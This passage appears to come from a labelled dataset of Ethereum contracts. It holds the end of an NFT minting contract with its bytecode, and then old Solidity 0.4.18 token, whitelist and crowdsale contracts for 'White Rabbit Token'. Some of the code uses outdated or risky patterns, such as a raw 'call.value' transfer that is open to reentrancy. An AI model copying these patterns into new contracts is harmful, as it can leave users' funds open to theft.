TripRoomAllList[msg.sender][TripRoomAllList[msg.sender].length - 1]; TripRoomAllList[msg.sender].pop(); break; } } } function setWhiteListAddress(address[] calldata addresses, uint256[] calldata tokenID) external onlyOwner { require( addresses.length == tokenID.length, "TripRoom: Length mismatch" ); for (uint256 i = 0; i < addresses.length; i++) { require( !_exists(tokenID[i]), "The Trip Room: token already exists" ); allowedList[tokenID[i]] = addresses[i]; TripRoomAllList[addresses[i]].push(tokenID[i]); } } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal override(ERC721, ERC721Enumerable){ super._beforeTokenTransfer(from, to, tokenId); } function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable) returns (bool) { return super.supportsInterface(interfaceId); } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { require(_exists(_tokenId), "ERC721Metadata: URI query for nonexistent token"); return string(abi.encodePacked(baseURI, _tokenId.toString(), ".json")); } function setURI(string memory _URI) external onlyOwner { baseURI = _URI; } function withdraw() external onlyOwner { require(payable(msg.sender).send(address(this).balance)); } function setMintingStatus(bool status) public onlyOwner { require(mintEnable != status); mintEnable = status; } function getAllowedList(address _address) public view returns (uint256[] memory) { return TripRoomAllList[_address]; } }
0x608060405234801561001057600080fd5b50600436106101cf5760003560e01c806370a0823111610104578063a22cb465116100a2578063c48283ff11610071578063c48283ff146103e3578063c87b56dd146103f6578063e985e9c514610409578063f2fde38b14610445576101cf565b8063a22cb46514610387578063a43d51b21461039a578063b88d4fde146103c3578063c1e1ce29146103d6576101cf565b80638da5cb5b116100de5780638da5cb5b1461033b5780638ff84dd21461034c57806395d89b411461035f57806399b5afcb14610367576101cf565b806370a082311461030d578063715018a6146103205780637420aa3614610328576101cf565b80632f745c591161017157806342842e0e1161014b57806342842e0e146102cb5780634f6ccce7146102de5780635658e02f146102f15780636352211e146102fa576101cf565b80632f745c59146102895780633cb347cb1461029c5780633ccfd60b146102c3576101cf565b8063081812fc116101ad578063081812fc14610226578063095ea7b31461025157806318160ddd1461026457806323b872dd14610276576101cf565b806301ffc9a7146101d457806302fe5305146101fc57806306fdde0314610211575b600080fd5b6101e76101e23660046120d4565b610458565b60405190151581526020015b60405180910390f35b61020f61020a36600461210c565b61046b565b005b6102196104b5565b6040516101f3919061230e565b610239610234366004612152565b610547565b6040516001600160a01b0390911681526020016101f3565b61020f61025f366004612026565b6105cf565b6009545b6040519081526020016101f3565b61020f610284366004611f35565b6106e5565b610268610297366004612026565b610716565b6102397f00000000000000000000000060d103b8c098afc8d323bff3b44b18bae497291181565b61020f6107ac565b61020f6102d9366004611f35565b6107fc565b6102686102ec366004612152565b610817565b610268600c5481565b610239610308366004612152565b6108b8565b61026861031b366004611ebe565b61092f565b61020f6109b6565b61020f6103363660046120ba565b6109ea565b6006546001600160a01b0316610239565b61020f61035a366004612051565b610a3d565b610219610c8f565b61037a610375366004611ebe565b610c9e565b6040516101f391906122ca565b61020f610395366004611ff2565b610d0a565b6102396103a8366004612152565b600f602052600090815260409020546001600160a01b031681565b61020f6103d1366004611f75565b610d15565b600e546101e79060ff1681565b61020f6103f136600461216a565b610d4d565b610219610404366004612152565b6110fb565b6101e7610417366004611efd565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b61020f610453366004611ebe565b61119c565b600061046382611237565b90505b919050565b6006546001600160a01b0316331461049e5760405162461bcd60e51b815260040161049590612373565b60405180910390fd5b80516104b190600d906020840190611d56565b5050565b6060600080546104c490612468565b80601f01602080910402602001604051908101604052809291908181526020018280546104f090612468565b801561053d5780601f106105125761010080835404028352916020019161053d565b820191906000526020600020905b81548152906001019060200180831161052057829003601f168201915b5050505050905090565b60006105528261125c565b6105b35760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610495565b506000908152600460205260409020546001600160a01b031690565b60006105da826108b8565b9050806001600160a01b0316836001600160a01b031614156106485760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b6064820152608401610495565b336001600160a01b038216148061066457506106648133610417565b6106d65760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006064820152608401610495565b6106e08383611279565b505050565b6106ef33826112e7565b61070b5760405162461bcd60e51b8152600401610495906123a8565b6106e08383836113d1565b60006107218361092f565b82106107835760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b6064820152608401610495565b506001600160a01b03919091166000908152600760209081526040808320938352929052205490565b6006546001600160a01b031633146107d65760405162461bcd60e51b815260040161049590612373565b60405133904780156108fc02916000818181858888f193505050506107fa57600080fd5b565b6106e083838360405180602001604052806000815250610d15565b600061082260095490565b82106108855760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b6064820152608401610495565b600982815481106108a657634e487b7160e01b600052603260045260246000fd5b90600052602060002001549050919050565b6000818152600260205260408120546001600160a01b0316806104635760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b6064820152608401610495565b60006001600160a01b03821661099a5760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b6064820152608401610495565b506001600160a01b031660009081526003602052604090205490565b6006546001600160a01b031633146109e05760405162461bcd60e51b815260040161049590612373565b6107fa600061157c565b6006546001600160a01b03163314610a145760405162461bcd60e51b815260040161049590612373565b600e5460ff1615158115151415610a2a57600080fd5b600e805460ff1916911515919091179055565b6006546001600160a01b03163314610a675760405162461bcd60e51b815260040161049590612373565b828114610ab65760405162461bcd60e51b815260206004820152601960248201527f54726970526f6f6d3a204c656e677468206d69736d61746368000000000000006044820152606401610495565b60005b83811015610c8857610af0838383818110610ae457634e487b7160e01b600052603260045260246000fd5b9050602002013561125c565b15610b495760405162461bcd60e51b815260206004820152602360248201527f546865205472697020526f6f6d3a20746f6b656e20616c72656164792065786960448201526273747360e81b6064820152608401610495565b848482818110610b6957634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610b7e9190611ebe565b600f6000858585818110610ba257634e487b7160e01b600052603260045260246000fd5b90506020020135815260200190815260200160002060006101000a8154816001600160a01b0302191690836001600160a01b0316021790555060106000868684818110610bff57634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610c149190611ebe565b6001600160a01b03166001600160a01b03168152602001908152602001600020838383818110610c5457634e487b7160e01b600052603260045260246000fd5b8354600181018555600094855260209485902091909402929092013591909201555080610c80816124a3565b915050610ab9565b5050505050565b6060600180546104c490612468565b6001600160a01b038116600090815260106020908152604091829020805483518184028101840190945280845260609392830182828015610cfe57602002820191906000526020600020905b815481526020019060010190808311610cea575b50505050509050919050565b6104b13383836115ce565b610d1f33836112e7565b610d3b5760405162461bcd60e51b8152600401610495906123a8565b610d478484848461169d565b50505050565b600e5460ff16610d945760405162461bcd60e51b81526020600482015260126024820152714d696e74206973206e6f7420656e61626c6560701b6044820152606401610495565b6040516362bd62eb60e11b81526004810182905233906001600160a01b037f00000000000000000000000060d103b8c098afc8d323bff3b44b18bae4972911169063c57ac5d69060240160206040518083038186803b158015610df657600080fd5b505afa158015610e0a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e2e9190611ee1565b6001600160a01b031614610e765760405162461bcd60e51b815260206004820152600f60248201526e24b731b7b93932b1ba1037bbb732b960891b6044820152606401610495565b610e7f8261125c565b15610ecc5760405162461bcd60e51b815260206004820152601e60248201527f54726970526f6f6d3a20746f6b656e20616c72656164792065786973747300006044820152606401610495565b6000828152600f60205260409020546001600160a01b03163314610f275760405162461bcd60e51b81526020600482015260126024820152714d696e74206973206e6f7420656e61626c6560701b6044820152606401610495565b610f3133836116d0565b604051632b685b3560e01b8152600481018290527f00000000000000000000000060d103b8c098afc8d323bff3b44b18bae49729116001600160a01b031690632b685b3590602401600060405180830381600087803b158015610f9357600080fd5b505af1158015610fa7573d6000803e3d6000fd5b5050600c8054925090506000610fbc836124a3565b919050555060005b336000908152601060205260409020548110156106e05733600090815260106020526040902080548491908390811061100d57634e487b7160e01b600052603260045260246000fd5b906000526020600020015414156110e957336000908152601060205260409020805461103b90600190612425565b8154811061105957634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101543383526010909152604090912080548390811061109457634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101929092553381526010909152604090208054806110ce57634e487b7160e01b600052603160045260246000fd5b600190038181906000526020600020016000905590556106e0565b806110f3816124a3565b915050610fc4565b60606111068261125c565b61116a5760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b6064820152608401610495565b600d611175836116ea565b6040516020016111869291906121d3565b6040516020818303038152906040529050919050565b6006546001600160a01b031633146111c65760405162461bcd60e51b815260040161049590612373565b6001600160a01b03811661122b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610495565b6112348161157c565b50565b60006001600160e01b0319821663780e9d6360e01b1480610463575061046382611805565b6000908152600260205260409020546001600160a01b0316151590565b600081815260046020526040902080546001600160a01b0319166001600160a01b03841690811790915581906112ae826108b8565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b60006112f28261125c565b6113535760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610495565b600061135e836108b8565b9050806001600160a01b0316846001600160a01b031614806113995750836001600160a01b031661138e84610547565b6001600160a01b0316145b806113c957506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b03166113e4826108b8565b6001600160a01b03161461144c5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b6064820152608401610495565b6001600160a01b0382166114ae5760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b6064820152608401610495565b6114b9838383611855565b6114c4600082611279565b6001600160a01b03831660009081526003602052604081208054600192906114ed908490612425565b90915550506001600160a01b038216600090815260036020526040812080546001929061151b9084906123f9565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b816001600160a01b0316836001600160a01b031614156116305760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c6572000000000000006044820152606401610495565b6001600160a01b03838116600081815260056020908152604080832094871680845294825291829020805460ff191686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b6116a88484846113d1565b6116b484848484611860565b610d475760405162461bcd60e51b815260040161049590612321565b6104b182826040518060200160405280600081525061196d565b60608161170f57506040805180820190915260018152600360fc1b6020820152610466565b8160005b81156117395780611723816124a3565b91506117329050600a83612411565b9150611713565b60008167ffffffffffffffff81111561176257634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f19166020018201604052801561178c576020820181803683370190505b5090505b84156113c9576117a1600183612425565b91506117ae600a866124be565b6117b99060306123f9565b60f81b8183815181106117dc57634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a9053506117fe600a86612411565b9450611790565b60006001600160e01b031982166380ac58cd60e01b148061183657506001600160e01b03198216635b5e139f60e01b145b8061046357506301ffc9a760e01b6001600160e01b0319831614610463565b6106e08383836119a0565b60006001600160a01b0384163b1561196257604051630a85bd0160e11b81526001600160a01b0385169063150b7a02906118a490339089908890889060040161228d565b602060405180830381600087803b1580156118be57600080fd5b505af19250505080156118ee575060408051601f3d908101601f191682019092526118eb918101906120f0565b60015b611948573d80801561191c576040519150601f19603f3d011682016040523d82523d6000602084013e611921565b606091505b5080516119405760405162461bcd60e51b815260040161049590612321565b805181602001fd5b6001600160e01b031916630a85bd0160e11b1490506113c9565b506001949350505050565b6119778383611a5d565b6119846000848484611860565b6106e05760405162461bcd60e51b815260040161049590612321565b6001600160a01b0383166119fb576119f681600980546000838152600a60205260408120829055600182018355919091527f6e1540171b6c0c960b71a7020d9f60077f6af931a8bbf590da0223dacf75c7af0155565b611a1e565b816001600160a01b0316836001600160a01b031614611a1e57611a1e8382611b9c565b6001600160a01b038216611a3a57611a3581611c39565b6106e0565b826001600160a01b0316826001600160a01b0316146106e0576106e08282611d12565b6001600160a01b038216611ab35760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610495565b611abc8161125c565b15611b095760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006044820152606401610495565b611b1560008383611855565b6001600160a01b0382166000908152600360205260408120805460019290611b3e9084906123f9565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b60006001611ba98461092f565b611bb39190612425565b600083815260086020526040902054909150808214611c06576001600160a01b03841660009081526007602090815260408083208584528252808320548484528184208190558352600890915290208190555b5060009182526008602090815260408084208490556001600160a01b039094168352600781528383209183525290812055565b600954600090611c4b90600190612425565b6000838152600a602052604081205460098054939450909284908110611c8157634e487b7160e01b600052603260045260246000fd5b906000526020600020015490508060098381548110611cb057634e487b7160e01b600052603260045260246000fd5b6000918252602080832090910192909255828152600a90915260408082208490558582528120556009805480611cf657634e487b7160e01b600052603160045260246000fd5b6001900381819060005260206000200160009055905550505050565b6000611d1d8361092f565b6001600160a01b039093166000908152600760209081526040808320868452825280832085905593825260089052919091209190915550565b828054611d6290612468565b90600052602060002090601f016020900481019282611d845760008555611dca565b82601f10611d9d57805160ff1916838001178555611dca565b82800160010185558215611dca579182015b82811115611dca578251825591602001919060010190611daf565b50611dd6929150611dda565b5090565b5b80821115611dd65760008155600101611ddb565b600067ffffffffffffffff80841115611e0a57611e0a6124fe565b604051601f8501601f19908116603f01168101908282118183101715611e3257611e326124fe565b81604052809350858152868686011115611e4b57600080fd5b858560208301376000602087830101525050509392505050565b60008083601f840112611e76578182fd5b50813567ffffffffffffffff811115611e8d578182fd5b6020830191508360208083028501011115611ea757600080fd5b9250929050565b8035801515811461046657600080fd5b600060208284031215611ecf578081fd5b8135611eda81612514565b9392505050565b600060208284031215611ef2578081fd5b8151611eda81612514565b60008060408385031215611f0f578081fd5b8235611f1a81612514565b91506020830135611f2a81612514565b809150509250929050565b600080600060608486031215611f49578081fd5b8335611f5481612514565b92506020840135611f6481612514565b929592945050506040919091013590565b60008060008060808587031215611f8a578081fd5b8435611f9581612514565b93506020850135611fa581612514565b925060408501359150606085013567ffffffffffffffff811115611fc7578182fd5b8501601f81018713611fd7578182fd5b611fe687823560208401611def565b91505092959194509250565b60008060408385031215612004578182fd5b823561200f81612514565b915061201d60208401611eae565b90509250929050565b60008060408385031215612038578182fd5b823561204381612514565b946020939093013593505050565b60008060008060408587031215612066578384fd5b843567ffffffffffffffff8082111561207d578586fd5b61208988838901611e65565b909650945060208701359150808211156120a1578384fd5b506120ae87828801611e65565b95989497509550505050565b6000602082840312156120cb578081fd5b611eda82611eae565b6000602082840312156120e5578081fd5b8135611eda81612529565b600060208284031215612101578081fd5b8151611eda81612529565b60006020828403121561211d578081fd5b813567ffffffffffffffff811115612133578182fd5b8201601f81018413612143578182fd5b6113c984823560208401611def565b600060208284031215612163578081fd5b5035919050565b6000806040838503121561217c578182fd5b50508035926020909101359150565b600081518084526121a381602086016020860161243c565b601f01601f19169290920160200192915050565b600081516121c981856020860161243c565b9290920192915050565b82546000908190600281046001808316806121ef57607f831692505b602080841082141561220f57634e487b7160e01b87526022600452602487fd5b818015612223576001811461223457612260565b60ff19861689528489019650612260565b60008b815260209020885b868110156122585781548b82015290850190830161223f565b505084890196505b50505050505061228461227382866121b7565b64173539b7b760d91b815260050190565b95945050505050565b6001600160a01b03858116825284166020820152604081018390526080606082018190526000906122c09083018461218b565b9695505050505050565b6020808252825182820181905260009190848201906040850190845b81811015612302578351835292840192918401916001016122e6565b50909695505050505050565b600060208252611eda602083018461218b565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b6000821982111561240c5761240c6124d2565b500190565b600082612420576124206124e8565b500490565b600082821015612437576124376124d2565b500390565b60005b8381101561245757818101518382015260200161243f565b83811115610d475750506000910152565b60028104600182168061247c57607f821691505b6020821081141561249d57634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156124b7576124b76124d2565b5060010190565b6000826124cd576124cd6124e8565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461123457600080fd5b6001600160e01b03198116811461123457600080fdfea2646970667358221220857a0c673c7b76e1f4aa79a3bc453d88f1240483ae493d5a3522b9b604c9338f64736f6c63430008020033
[ 5 ]
0xf320d7bf928a8efda0ff624a02e73e9592a03f2b
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract MultiOwnable { mapping (address => bool) public isOwner; address[] public ownerHistory; uint8 public ownerCount; event OwnerAddedEvent(address indexed _newOwner); event OwnerRemovedEvent(address indexed _oldOwner); function MultiOwnable() public { // Add default owner address owner = msg.sender; ownerHistory.push(owner); isOwner[owner] = true; ownerCount++; } modifier onlyOwner() { require(isOwner[msg.sender]); _; } function ownerHistoryCount() public view returns (uint) { return ownerHistory.length; } /** Add extra owner. */ function addOwner(address owner) onlyOwner public { require(owner != address(0)); require(!isOwner[owner]); ownerHistory.push(owner); isOwner[owner] = true; ownerCount++; OwnerAddedEvent(owner); } /** Remove extra owner. */ function removeOwner(address owner) onlyOwner public { // This check is neccessary to prevent a situation where all owners // are accidentally removed, because we do not want an ownable contract // to become an orphan. require(ownerCount > 1); require(isOwner[owner]); isOwner[owner] = false; ownerCount--; OwnerRemovedEvent(owner); } } contract Pausable is Ownable { bool public paused; modifier ifNotPaused { require(!paused); _; } modifier ifPaused { require(paused); _; } // Called by the owner on emergency, triggers paused state function pause() external onlyOwner ifNotPaused { paused = true; } // Called by the owner on end of emergency, returns to normal state function resume() external onlyOwner ifPaused { paused = false; } } contract ERC20 { uint256 public totalSupply; function balanceOf(address _owner) public view returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is ERC20 { using SafeMath for uint; mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /// @dev Allows allowed third party to transfer tokens from one address to another. Returns success. /// @param _from Address from where tokens are withdrawn. /// @param _to Address to where tokens are sent. /// @param _value Number of tokens to transfer. function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /// @dev Sets approved amount of tokens for spender. Returns success. /// @param _spender Address of allowed account. /// @param _value Number of approved tokens. function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /// @dev Returns number of allowed tokens for given address. /// @param _owner Address of token owner. /// @param _spender Address of token spender. function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract CommonToken is StandardToken, MultiOwnable { string public constant name = 'White Rabbit Token'; string public constant symbol = 'WRT'; uint8 public constant decimals = 18; // The main account that holds all tokens from the time token created and during all tokensales. address public seller; // saleLimit (e18) Maximum amount of tokens for sale across all tokensales. // Reserved tokens formula: 16% Team + 6% Partners + 5% Advisory Board + 15% WR reserve 1 = 42% // For sale formula: 40% for sale + 1.5% Bounty + 16.5% WR reserve 2 = 58% uint256 public constant saleLimit = 110200000 ether; // Next fields are for stats: uint256 public tokensSold; // (e18) Number of tokens sold through all tiers or tokensales. uint256 public totalSales; // Total number of sales (including external sales) made through all tiers or tokensales. // Lock the transfer functions during tokensales to prevent price speculations. bool public locked = true; event SellEvent(address indexed _seller, address indexed _buyer, uint256 _value); event ChangeSellerEvent(address indexed _oldSeller, address indexed _newSeller); event Burn(address indexed _burner, uint256 _value); event Unlock(); function CommonToken( address _seller ) MultiOwnable() public { require(_seller != 0); seller = _seller; totalSupply = 190000000 ether; balances[seller] = totalSupply; Transfer(0x0, seller, totalSupply); } modifier ifUnlocked() { require(isOwner[msg.sender] || !locked); _; } /** * An address can become a new seller only in case it has no tokens. * This is required to prevent stealing of tokens from newSeller via * 2 calls of this function. */ function changeSeller(address newSeller) onlyOwner public returns (bool) { require(newSeller != address(0)); require(seller != newSeller); // To prevent stealing of tokens from newSeller via 2 calls of changeSeller: require(balances[newSeller] == 0); address oldSeller = seller; uint256 unsoldTokens = balances[oldSeller]; balances[oldSeller] = 0; balances[newSeller] = unsoldTokens; Transfer(oldSeller, newSeller, unsoldTokens); seller = newSeller; ChangeSellerEvent(oldSeller, newSeller); return true; } /** * User-friendly alternative to sell() function. */ function sellNoDecimals(address _to, uint256 _value) public returns (bool) { return sell(_to, _value * 1e18); } function sell(address _to, uint256 _value) onlyOwner public returns (bool) { // Check that we are not out of limit and still can sell tokens: if (saleLimit > 0) require(tokensSold.add(_value) <= saleLimit); require(_to != address(0)); require(_value > 0); require(_value <= balances[seller]); balances[seller] = balances[seller].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(seller, _to, _value); totalSales++; tokensSold = tokensSold.add(_value); SellEvent(seller, _to, _value); return true; } function transfer(address _to, uint256 _value) ifUnlocked public returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) ifUnlocked public returns (bool) { return super.transferFrom(_from, _to, _value); } function burn(uint256 _value) public returns (bool) { require(_value > 0); balances[msg.sender] = balances[msg.sender].sub(_value); totalSupply = totalSupply.sub(_value); Transfer(msg.sender, 0x0, _value); Burn(msg.sender, _value); return true; } /** Can be called once by super owner. */ function unlock() onlyOwner public { require(locked); locked = false; Unlock(); } } // TODO finish whitelist contract CommonWhitelist is MultiOwnable { mapping(address => bool) public isAllowed; // Historical array of wallet that have bben added to whitelist, // even if some addresses have been removed later such wallet still remaining // in the history. This is Solidity optimization for work with large arrays. address[] public history; event AddedEvent(address indexed wallet); event RemovedEvent(address indexed wallet); function CommonWhitelist() MultiOwnable() public {} function historyCount() public view returns (uint) { return history.length; } function add(address _wallet) internal { require(_wallet != address(0)); require(!isAllowed[_wallet]); history.push(_wallet); isAllowed[_wallet] = true; AddedEvent(_wallet); } function addMany(address[] _wallets) public onlyOwner { for (uint i = 0; i < _wallets.length; i++) { add(_wallets[i]); } } function remove(address _wallet) internal { require(isAllowed[_wallet]); isAllowed[_wallet] = false; RemovedEvent(_wallet); } function removeMany(address[] _wallets) public onlyOwner { for (uint i = 0; i < _wallets.length; i++) { remove(_wallets[i]); } } } //--------------------------------------------------------------- // Wings contracts: Start // DO NOT CHANGE the next contracts. They were copied from Wings // and left unformated. contract HasManager { address public manager; modifier onlyManager { require(msg.sender == manager); _; } function transferManager(address _newManager) public onlyManager() { require(_newManager != address(0)); manager = _newManager; } } // Crowdsale contracts interface contract ICrowdsaleProcessor is Ownable, HasManager { modifier whenCrowdsaleAlive() { require(isActive()); _; } modifier whenCrowdsaleFailed() { require(isFailed()); _; } modifier whenCrowdsaleSuccessful() { require(isSuccessful()); _; } modifier hasntStopped() { require(!stopped); _; } modifier hasBeenStopped() { require(stopped); _; } modifier hasntStarted() { require(!started); _; } modifier hasBeenStarted() { require(started); _; } // Minimal acceptable hard cap uint256 constant public MIN_HARD_CAP = 1 ether; // Minimal acceptable duration of crowdsale uint256 constant public MIN_CROWDSALE_TIME = 3 days; // Maximal acceptable duration of crowdsale uint256 constant public MAX_CROWDSALE_TIME = 50 days; // Becomes true when timeframe is assigned bool public started; // Becomes true if cancelled by owner bool public stopped; // Total collected Ethereum: must be updated every time tokens has been sold uint256 public totalCollected; // Total amount of project's token sold: must be updated every time tokens has been sold uint256 public totalSold; // Crowdsale minimal goal, must be greater or equal to Forecasting min amount uint256 public minimalGoal; // Crowdsale hard cap, must be less or equal to Forecasting max amount uint256 public hardCap; // Crowdsale duration in seconds. // Accepted range is MIN_CROWDSALE_TIME..MAX_CROWDSALE_TIME. uint256 public duration; // Start timestamp of crowdsale, absolute UTC time uint256 public startTimestamp; // End timestamp of crowdsale, absolute UTC time uint256 public endTimestamp; // Allows to transfer some ETH into the contract without selling tokens function deposit() public payable {} // Returns address of crowdsale token, must be ERC20 compilant function getToken() public returns(address); // Transfers ETH rewards amount (if ETH rewards is configured) to Forecasting contract function mintETHRewards(address _contract, uint256 _amount) public onlyManager(); // Mints token Rewards to Forecasting contract function mintTokenRewards(address _contract, uint256 _amount) public onlyManager(); // Releases tokens (transfers crowdsale token from mintable to transferrable state) function releaseTokens() public onlyManager() hasntStopped() whenCrowdsaleSuccessful(); // Stops crowdsale. Called by CrowdsaleController, the latter is called by owner. // Crowdsale may be stopped any time before it finishes. function stop() public onlyManager() hasntStopped(); // Validates parameters and starts crowdsale function start(uint256 _startTimestamp, uint256 _endTimestamp, address _fundingAddress) public onlyManager() hasntStarted() hasntStopped(); // Is crowdsale failed (completed, but minimal goal wasn't reached) function isFailed() public constant returns (bool); // Is crowdsale active (i.e. the token can be sold) function isActive() public constant returns (bool); // Is crowdsale completed successfully function isSuccessful() public constant returns (bool); } // Basic crowdsale implementation both for regualt and 3rdparty Crowdsale contracts contract BasicCrowdsale is ICrowdsaleProcessor { event CROWDSALE_START(uint256 startTimestamp, uint256 endTimestamp, address fundingAddress); // Where to transfer collected ETH address public fundingAddress; // Ctor. function BasicCrowdsale( address _owner, address _manager ) public { owner = _owner; manager = _manager; } // called by CrowdsaleController to transfer reward part of ETH // collected by successful crowdsale to Forecasting contract. // This call is made upon closing successful crowdfunding process // iff agreed ETH reward part is not zero function mintETHRewards( address _contract, // Forecasting contract uint256 _amount // agreed part of totalCollected which is intended for rewards ) public onlyManager() // manager is CrowdsaleController instance { require(_contract.call.value(_amount)()); } // cancels crowdsale function stop() public onlyManager() hasntStopped() { // we can stop only not started and not completed crowdsale if (started) { require(!isFailed()); require(!isSuccessful()); } stopped = true; } // called by CrowdsaleController to setup start and end time of crowdfunding process // as well as funding address (where to transfer ETH upon successful crowdsale) function start( uint256 _startTimestamp, uint256 _endTimestamp, address _fundingAddress ) public onlyManager() // manager is CrowdsaleController instance hasntStarted() // not yet started hasntStopped() // crowdsale wasn't cancelled { require(_fundingAddress != address(0)); // start time must not be earlier than current time require(_startTimestamp >= block.timestamp); // range must be sane require(_endTimestamp > _startTimestamp); duration = _endTimestamp - _startTimestamp; // duration must fit constraints require(duration >= MIN_CROWDSALE_TIME && duration <= MAX_CROWDSALE_TIME); startTimestamp = _startTimestamp; endTimestamp = _endTimestamp; fundingAddress = _fundingAddress; // now 